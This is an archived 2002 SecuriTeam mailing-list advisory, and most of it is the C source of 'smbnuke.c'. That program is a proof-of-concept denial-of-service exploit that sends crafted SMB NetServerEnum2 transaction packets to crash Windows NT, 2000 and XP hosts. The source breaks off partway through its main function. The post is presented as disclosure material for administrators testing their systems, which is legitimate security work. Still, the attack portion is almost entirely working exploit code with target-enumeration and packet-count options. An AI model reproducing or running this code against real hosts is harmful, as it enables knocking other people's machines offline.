

[EXPL] Windows SMB Nuker

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0116.html>

From: support@securiteam.com

Date: 08/30/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 30 Aug 2002 11:23:04 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Windows SMB Nuker

SUMMARY

As we reported in

<<http://www.securiteam.com/windowsntfocus/5RP0Q1F80G.html>> Vulnerability

Report for Windows SMB DoS a security vulnerability in the Windows operating system allows remote attackers to cause the operating system to crash, the following is an exploit code that can be used by administrator to test their system for the mentioned vulnerability.

DETAILS

Exploit code:

```
/*
```

```
* smbnuke.c -- Windows SMB Nuker (DoS) -- Proof of concept
```

```
* Copyright (C) 2002 Frederic Deletang (df@phear.org)
```

```
*
```

```
* This program is free software; you can redistribute it and/or
```

```
* modify it under the terms of the GNU General Public License
```

```
* as published by the Free Software Foundation; either version 2 of
```

```
* the License or (at your option) any later version.
```

```
*
```

```
* This program is distributed in the hope that it will be
```

```
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
```

```
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
```

Securiteam: [EXPL] Windows SMB Nuker

```
* GNU General Public License for more details.  
*  
* You should have received a copy of the GNU General Public License  
* along with this program; if not, write to the Free Software  
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  
* USA  
*/
```

```
/* NOTE:  
* Compile this program using only GCC and no other compilers  
* (except if you think this one supports the __attribute__ (( packed ))  
attribute)  
* This program might not work on big-endian systems.  
* It has been successfully tested from the following platforms:  
* - Linux 2.4.18 / i686  
* - FreeBSD 4.6.1-RELEASE-p10 / i386  
* Don't bother me if you can't get it to compile or work on Solaris using  
the SunWS compiler.  
*  
* Another thing: The word counts are hardcoded, careful if you hack the  
sources.  
*/
```

```
/* Copyright notice:  
* some parts of this source (only two functions, name_len and name_mangle)  
* has been taken from libsmb. The rest, especially the structures has  
* been written by me.  
*/
```

```
#include <stdio.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netdb.h>  
#include <fcntl.h>  
#include <stdlib.h>  
#include <ctype.h>  
#include <assert.h>  
#include <string.h>  
#include <errno.h>  
#include <time.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <string.h>  
#include <sys/time.h>
```

```
#define SESSION_REQUEST 0x81
```

```
#define SESSION_MESSAGE 0x00
```

```
#define SMB_NEGOTIATE_PROTOCOL 0x72
#define SMB_SESSION_SETUP_ANDX 0x73
#define SMB_TREE_CONNECT_ANDX 0x75
#define SMB_COM_TRANSACTION 0x25
```

```
#define bswap16(x) \
(((x) >> 8) & 0xff) | (((x) & 0xff) << 8)
```

```
typedef struct
{
    unsigned char server_component[4];
    unsigned char command;
    unsigned char error_class;
    unsigned char reserved1;
    uint16_t error_code;
    uint8_t flags;
    uint16_t flags2;
    unsigned char reserved2[12];
    uint16_t tree_id;
    uint16_t proc_id;
    uint16_t user_id;
    uint16_t mpex_id;
}
__attribute__((packed)) smb_header;
```

```
typedef struct
{
    unsigned char type;
    unsigned char flags;
    unsigned short length;
    unsigned char called[34];
    unsigned char calling[34];
}
__attribute__((packed)) nbt_packet;
```

```
typedef struct
{
    /* wct: word count */
    uint8_t wct;
    unsigned char andx_command;
    unsigned char reserved1;
    uint16_t andx_offset;
    uint16_t max_buffer;
    uint16_t max_mpx_count;
    uint16_t vc_number;
    uint32_t session_key;
    uint16_t ANSI_pwlen;
    uint16_t UNI_pwlen;
    unsigned char reserved2[4];
    uint32_t capabilities;
    /* bcc: byte count */
```

```

uint16_t bcc;
}
__attribute__((packed)) session_setup_andx_request;

```

```

typedef struct
{
    /* wct: word count */
    uint8_t wct;
    unsigned char andx_command;
    unsigned char reserved1;
    uint16_t andx_offset;
    uint16_t flags;
    uint16_t pwlen;
    uint16_t bcc;
}
__attribute__((packed)) tree_connect_andx_request;

```

```

typedef struct
{
    /* wct: word count */
    uint8_t wct;
    uint16_t total_param_cnt;
    uint16_t total_data_cnt;
    uint16_t max_param_cnt;
    uint16_t max_data_cnt;
    uint8_t max_setup_cnt;
    unsigned char reserved1;
    uint16_t flags;
    uint32_t timeout;
    uint16_t reserved2;
    uint16_t param_cnt;
    uint16_t param_offset;
    uint16_t data_cnt;
    uint16_t data_offset;
    uint8_t setup_count;
    uint8_t reserved3;
    /* bcc: byte count */
    uint16_t bcc;
}
__attribute__((packed)) transaction_request;

```

```

typedef struct
{
    uint16_t function_code;
    unsigned char param_descriptor[6];
    unsigned char return_descriptor[7];
    uint16_t detail_level;
    uint16_t recv_buffer_len;
}
__attribute__((packed)) parameters;

```

```

typedef struct
{
    uint8_t format;
    unsigned char *name;
}
t_dialects;

t_dialects dialects[] = {
    {2, "PC NETWORK PROGRAM 1.0"},
    {2, "MICROSOFT NETWORKS 1.03"},
    {2, "MICROSOFT NETWORKS 3.0"},
    {2, "LANMAN1.0"},
    {2, "LM1.2X002"},
    {2, "Samba"},
    {2, "NT LM 0.12"},
    {2, "NT LANMAN 1.0"},
    {0, NULL}
};

enum
{
    STATE_REQUESTING_SESSION_SETUP = 1,
    STATE_NEGOTIATING_PROTOCOL,
    STATE_REQUESTING_SESSION_SETUP_ANDX,
    STATE_REQUESTING_TREE_CONNECT_ANDX,
    STATE_REQUESTING_TRANSACTION
}
status;

const unsigned char *global_scope = NULL;

/*****
* return the total storage length of a mangled name – from smbclient
*
*****/

int
name_len (char *s1)
{
    /* NOTE: this argument _must_ be unsigned */
    unsigned char *s = (unsigned char *) s1;
    int len;

    /* If the two high bits of the byte are set, return 2. */
    if (0xC0 == (*s & 0xC0))
        return (2);

    /* Add up the length bytes. */
    for (len = 1; (*s); s += (*s) + 1)
    {
        len += *s + 1;
    }
}

```

Securiteam: [EXPL] Windows SMB Nuker

```
    assert (len < 80);
}

return (len);
} /* name_len */

/*****
    * mangle a name into netbios format – from
smbclient
    * Note: <Out> must be (33 + strlen(scope)
+ 2) bytes long, at minimum.
    *
*****/

int
name_mangle (char *In, char *Out, char name_type)
{
    int i;
    int c;
    int len;
    char buf[20];
    char *p = Out;

    /* Safely copy the input string, In, into buf[]. */
    (void) memset (buf, 0, 20);
    if (strcmp (In, "") == 0)
        buf[0] = '*';
    else
        (void) snprintf (buf, sizeof (buf) - 1, "%-15.15s%c", In, name_type);

    /* Place the length of the first field into the output buffer. */
    p[0] = 32;
    p++;

    /* Now convert the name to the rfc1001/1002 format. */
    for (i = 0; i < 16; i++)
    {
        c = toupper (buf[i]);
        p[i * 2] = ((c >> 4) & 0x000F) + 'A';
        p[(i * 2) + 1] = (c & 0x000F) + 'A';
    }
    p += 32;
    p[0] = '\0';

    /* Add the scope string. */
    for (i = 0, len = 0; NULL != global_scope; i++, len++)
    {
        switch (global_scope[i])
        {
            case '\0':
```

```

    p[0] = len;
    if (len > 0)
        p[len + 1] = 0;
    return (name_len (Out));
case '.':
    p[0] = len;
    p += (len + 1);
    len = -1;
    break;
default:
    p[len + 1] = global_scope[i];
    break;
}
}

return (name_len (Out));

}

int
tcp_connect (const char *rhost, unsigned short port)
{
    struct sockaddr_in dest;
    struct hostent *host;
    int fd;

    host = gethostbyname (rhost);
    if (host == NULL)
    {
        fprintf (stderr, "Could not resolve host: %s\n", rhost);
        return -1;
    }

    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = *(long *) (host->h_addr);
    dest.sin_port = htons (port);

    fd = socket (AF_INET, SOCK_STREAM, 0);

    if (connect (fd, (struct sockaddr *) &dest, sizeof (dest)) < 0)
    {
        fprintf (stderr, "Could not connect to %s:%d - %s\n", rhost, port,
                strerror (errno));
        return -1;
    }

    return fd;
}

void
build_smb_header (smb_header *hdr, uint8_t command, uint8_t flags,

```

Securiteam: [EXPL] Windows SMB Nuker

```
uint16_t flags2, uint16_t tree_id, uint16_t proc_id,
uint16_t user_id, uint16_t mpex_id)
{
    memset (hdr, 0, sizeof (smb_header));

    /* SMB Header MAGIC. */
    hdr->server_component[0] = 0xff;
    hdr->server_component[1] = 'S';
    hdr->server_component[2] = 'M';
    hdr->server_component[3] = 'B';

    hdr->command = command;

    hdr->flags = flags;
    hdr->flags2 = flags2;

    hdr->tree_id = tree_id;
    hdr->proc_id = proc_id;
    hdr->user_id = user_id;
    hdr->mpex_id = mpex_id;
}

unsigned char *
push_string (unsigned char *stack, unsigned char *string)
{
    strcpy (stack, string);
    return stack + strlen (stack) + 1;
}

void
request_session_setup (int fd, char *netbios_name)
{
    nbt_packet pkt;

    pkt.type = SESSION_REQUEST;
    pkt.flags = 0x00;
    pkt.length = bswap16 (sizeof (nbt_packet));
    name_mangle (netbios_name, pkt.called, 0x20);
    name_mangle ("", pkt.calling, 0x00);
    write (fd, &pkt, sizeof (nbt_packet));
}

void
negotiate_protocol (unsigned char *buffer, int fd)
{
    smb_header hdr;
    unsigned char *p;
    uint16_t proc_id, mpex_id;
    int i;
```

Securiteam: [EXPL] Windows SMB Nuker

```
proc_id = (uint16_t) rand ();
mpex_id = (uint16_t) rand ();

buffer[0] = SESSION_MESSAGE;
buffer[1] = 0x0;

build_smb_header (&hdr, SMB_NEGOTIATE_PROTOCOL, 0, 0, 0, proc_id, 0,
    mpex_id);

memcpy (buffer + 4, &hdr, sizeof (smb_header));

p = buffer + 4 + sizeof (smb_header) + 3;

for (i = 0; dialects[i].name != NULL; i++)
{
    *p = dialects[i].format;
    strcpy (p + 1, dialects[i].name);
    p += strlen (dialects[i].name) + 2;
}

/* Set the word count */
*(uint8_t *) (buffer + 4 + sizeof (smb_header)) = 0;

/* Set the byte count */
*(uint16_t *) (buffer + 4 + sizeof (smb_header) + 1) =
    (uint16_t) (p - buffer - 4 - sizeof (smb_header) - 3);

*(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (p - buffer - 4));

write (fd, buffer, p - buffer);

}

void
request_session_setup_andx (unsigned char *buffer, int fd)
{
    smb_header hdr;
    session_setup_andx_request ssar;
    uint16_t proc_id, mpex_id;
    unsigned char *p;

    proc_id = (uint16_t) rand ();
    mpex_id = (uint16_t) rand ();

    build_smb_header (&hdr, SMB_SESSION_SETUP_ANDX, 0x08, 0x0001, 0,
        proc_id, 0,
        mpex_id);

    buffer[0] = SESSION_MESSAGE;
    buffer[1] = 0x0;
```

Securiteam: [EXPL] Windows SMB Nuker

```
memcpy (buffer + 4, &hdr, sizeof (smb_header));

p = buffer + 4 + sizeof (smb_header);

memset (&ssar, 0, sizeof (session_setup_andx_request));
ssar.wct = 13;
ssar.andx_command = 0xff; /* No further commands */
ssar.max_buffer = 65535;
ssar.max_mpx_count = 2;
ssar.vc_number = 1025;

ssar.ANSI_pwlen = 1;

p = buffer + 4 + sizeof (smb_header) + sizeof
(session_setup_andx_request);

/* Ansi password */
p = push_string (p, "");

/* Account */
p = push_string (p, "");

/* Primary domain */
p = push_string (p, "WORKGROUP");

/* Native OS */
p = push_string (p, "Unix");

/* Native Lan Manager */
p = push_string (p, "Samba");

ssar.bcc =
    p - buffer - 4 - sizeof (smb_header) -
    sizeof (session_setup_andx_request);

memcpy (buffer + 4 + sizeof (smb_header), &ssar,
    sizeof (session_setup_andx_request));

/* Another byte count */
*(uint16_t *) (buffer + 2) =
    bswap16 ((uint16_t)
    (sizeof (session_setup_andx_request) + sizeof (smb_header) +
    ssar.bcc));

write (fd, buffer,
    sizeof (session_setup_andx_request) + sizeof (smb_header) + 4 +
    ssar.bcc);
}

void
request_tree_connect_andx (unsigned char *buffer, int fd,
```

```

        const char *netbios_name)
{
    smb_header hdr;
    tree_connect_andx_request tcar;
    uint16_t proc_id, user_id;
    unsigned char *p, *q;

    proc_id = (uint16_t) rand ();
    user_id = ((smb_header *) (buffer + 4))->user_id;

    build_smb_header (&hdr, SMB_TREE_CONNECT_ANDX, 0x18, 0x2001, 0, proc_id,
        user_id, 0);

    buffer[0] = SESSION_MESSAGE;
    buffer[1] = 0x0;

    memcpy (buffer + 4, &hdr, sizeof (smb_header));

    memset (&tcar, 0, sizeof (tree_connect_andx_request));

    tcar.wct = 4;
    tcar.andx_command = 0xff; /* No further commands */
    tcar.pwlen = 1;

    p = buffer + 4 + sizeof (smb_header) + sizeof
(tree_connect_andx_request);

    /* Password */
    p = push_string (p, "");

    /* Path */
    q = malloc (8 + strlen (netbios_name));

    sprintf (q, "\\\\"%s\\IPC$", netbios_name);
    p = push_string (p, q);

    free (q);

    /* Service */
    p = push_string (p, "IPC");

    tcar.bcc =
    p - buffer - 4 - sizeof (smb_header) - sizeof
(tree_connect_andx_request);

    memcpy (buffer + 4 + sizeof (smb_header), &tcar,
        sizeof (tree_connect_andx_request));

    /* Another byte count */
    *(uint16_t *) (buffer + 2) =
    bswap16 ((uint16_t)

```

Securiteam: [EXPL] Windows SMB Nuker

```
(sizeof (tree_connect_andx_request) + sizeof (smb_header) +
tcar.bcc));

write (fd, buffer,
sizeof (tree_connect_andx_request) + sizeof (smb_header) + 4 +
tcar.bcc);
}

void
request_transaction (unsigned char *buffer, int fd)
{
smb_header hdr;
transaction_request transaction;
parameters params;
uint16_t proc_id, tree_id, user_id;
unsigned char *p;

proc_id = (uint16_t) rand ();
tree_id = ((smb_header *) (buffer + 4))->tree_id;
user_id = ((smb_header *) (buffer + 4))->user_id;

build_smb_header (&hdr, SMB_COM_TRANSACTION, 0, 0, tree_id, proc_id,
user_id, 0);

buffer[0] = SESSION_MESSAGE;
buffer[1] = 0x0;

memcpy (buffer + 4, &hdr, sizeof (smb_header));

memset (&transaction, 0, sizeof (transaction_request));

transaction.wct = 14;
transaction.total_param_cnt = 19; /* Total length of parameters */
transaction.param_cnt = 19; /* Length of parameter */

p = buffer + 4 + sizeof (smb_header) + sizeof (transaction_request);

/* Transaction name */
p = push_string (p, "\\PIPE\\LANMAN");

transaction.param_offset = p - buffer - 4;

params.function_code = (uint16_t) 0x68; /* NetServerEnum2 */
strcpy (params.param_descriptor, "WrLeh"); /* RAP_NetGroupEnum_REQ */
strcpy (params.return_descriptor, "B13BWz"); /* RAP_SHARE_INFO_L1 */
params.detail_level = 1;
params.recv_buffer_len = 50000;

memcpy (p, &params, sizeof (parameters));

p += transaction.param_cnt;
```

```

transaction.data_offset = p - buffer - 4;

transaction.bcc =
    p - buffer - 4 - sizeof (smb_header) - sizeof (transaction_request);

memcpy (buffer + 4 + sizeof (smb_header), &transaction,
        sizeof (transaction_request));

/* Another byte count */
*(uint16_t *) (buffer + 2) =
    bswap16 ((uint16_t)
        (sizeof (transaction_request) + sizeof (smb_header) +
        transaction.bcc));

write (fd, buffer,
        sizeof (transaction_request) + sizeof (smb_header) + 4 +
        transaction.bcc);
}

typedef struct
{
    uint16_t transaction_id;
    uint16_t flags;
    uint16_t questions;
    uint16_t answerRRs;
    uint16_t authorityRRs;
    uint16_t additionalRRs;

    unsigned char query[32];
    uint16_t name;
    uint16_t type;
    uint16_t class;
}
__attribute__((packed)) nbt_name_query;

typedef struct
{
    nbt_name_query answer;
    uint32_t ttl;
    uint16_t datalen;
    uint8_t names;
}
__attribute__((packed)) nbt_name_query_answer;

char *
list_netbios_names (unsigned char *buffer, size_t size, const char *rhost,
                    unsigned short port, unsigned int timeout)
{
    nbt_name_query query;
    struct sockaddr_in dest;

```

```

struct hostent *host;
int fd, i;

fd_set rfd;
struct timeval tv;

printf ("Trying to list netbios names on %s\n", rhost);

host = gethostbyname (rhost);
if (host == NULL)
{
    fprintf (stderr, "Could not resolve host: %s\n", rhost);
    return NULL;
}

memset (&dest, 0, sizeof (struct sockaddr_in));

dest.sin_family = AF_INET;
dest.sin_addr.s_addr = *(long *) (host->h_addr);
dest.sin_port = htons (port);

if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) < 0)
{
    fprintf (stderr, "Could not setup the UDP socket: %s\n",
            strerror (errno));
    return NULL;
}

memset (&query, 0, sizeof (nbt_name_query));

query.transaction_id = (uint16_t) bswap16 (0x1e); //rand();
query.flags = bswap16 (0x0010);
query.questions = bswap16 (1);

name_mangle ("*", query.query, 0);
query.type = bswap16 (0x21);
query.class = bswap16 (0x01);

if (sendto
    (fd, &query, sizeof (nbt_name_query), 0, (struct sockaddr *) &dest,
     sizeof (struct sockaddr_in)) != sizeof (nbt_name_query))
{
    fprintf (stderr, "Could not send UDP packet: %s\n", strerror (errno));
    return NULL;
}

/* Now, wait for an answer -- add a timeout to 10 seconds */

FD_ZERO (&rfd);
FD_SET (fd, &rfd);

```

```

tv.tv_sec = timeout;
tv.tv_usec = 0;

if (!select (fd + 1, &rfd, NULL, NULL, &tv))
{
    fprintf (stderr,
        "The udp read has reached the timeout – try setting the netbios name
manually – exiting...\n");
    return NULL;
}

recvfrom (fd, buffer, size, 0, NULL, NULL);

for (i = 0; i < ((nbt_name_query_answer *) buffer)->names; i++)
    if ((uint8_t) * (buffer + sizeof (nbt_name_query_answer) + 18 * i +
15) ==
        0x20)
        return buffer + sizeof (nbt_name_query_answer) + 18 * i;

    printf ("No netbios name available for use – you probably won't be
able to crash this host\n");
    printf ("However, you can try setting one manually\n");

    return NULL;
}

char *
extract_name (const char *name)
{
    int i;
    char *p = malloc(14);

    for (i = 0; i < 14; i++)
        if (name[i] == ' ')
            break;
        else
            p[i] = name[i];

    p[i] = '\0';

    return p;
}

void
print_banner (void)
{
    printf ("Windows SMB Nuker (DoS) – Proof of concept – CVE
CAN-2002-0724\n");
    printf ("Copyright 2002 – Frederic Deletang (df@phear.org) –
28/08/2002\n\n");
}

```

```

int
is_smb_header (const unsigned char *buffer, int len)
{
    if (len < sizeof (smb_header))
        return 0;

    if (buffer[0] == 0xff && buffer[1] == 'S' && buffer[2] == 'M'
        && buffer[3] == 'B')
        return 1;
    else
        return 0;
}

```

```

int
main (int argc, char **argv)
{
    int fd, r, i, c;
    unsigned char buffer[1024 * 4]; /* Enough. */
    char *hostname = NULL, *name = NULL;

    unsigned int showhelp = 0;

    unsigned int packets = 10;
    unsigned int state;

    unsigned int udp_timeout = 10;
    unsigned int tcp_timeout = 10;

    unsigned short netbios_ssn_port = 139;
    unsigned short netbios_ns_port = 137;

    fd_set rfd;
    struct timeval tv;

    srand (time (NULL));

    print_banner ();

    while ((c = getopt (argc, argv, "N:n:p:P:t:T:h")) != -1)
    {
        switch (c)
        {
            case 'N':
                name = optarg;
                break;
            case 'n':
                packets = atoi (optarg);
                break;
            case 'p':
                netbios_ns_port = atoi (optarg);
                break;
        }
    }
}

```

```

case 'P':
    netbios_ssn_port = atoi (optarg);
    break;
case 't':
    udp_timeout = atoi (optarg);
    break;
case 'T':
    tcp_timeout = atoi (optarg);
    break;
case 'h':
default:
    showhelp = 1;
    break;
}
}

if (optind < argc)
    hostname = argv[optind++];

if (showhelp || hostname == NULL)
{
    printf ("Usage: %s [options] hostname/ip...\n", argv[0]);
    printf
        (" -N [netbios-name] Netbios Name (default: ask the remote
host)\n");
    printf
        (" -n [packets] Number of crafted packets to send (default: %d)\n",
        packets);
    printf
        (" -p [netbios-ns port] UDP Port to query (default: %d)\n",
        netbios_ns_port);
    printf
        (" -P [netbios-ssn port] TCP Port to query (default: %d)\n",
        netbios_ssn_port);
    printf
        (" -t [udp-timeout] Timeout to wait for receive on UDP ports
(default: %d)\n",
        udp_timeout);
    printf
        (" -T [tcp-timeout] Timeout to wait for receive on TCP ports
(default: %d)\n",
        tcp_timeout);
    printf ("\n");
    printf ("Known vulnerable systems: \n");
    printf (" - Windows NT 4.0 Workstation/Server\n");
    printf (" - Windows 2000 Professional/Advanced Server\n");
    printf (" - Windows XP Professional/Home edition\n\n");
    exit (1);
}

if (!name

```

Securiteam: [EXPL] Windows SMB Nuker

```
&& (name =  
list_netbios_names (buffer, sizeof (buffer), hostname,  
netbios_ns_port, udp_timeout)) == NULL)  
exit (1);  
else  
name = extract_name (name);  
  
printf ("Using netbios name: %s\n", name);  
  
printf ("Connecting to remote host (%s:%d)...n", hostname,  
netbios_ssn_port);  
  
fd = tcp_connect (hostname, netbios_ssn_port);  
  
if (fd
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:df@phear.org> Frederic Deletang.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] Flaw in Certificate Enrollment Control Could Allow Deletion of Digital Certificates"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)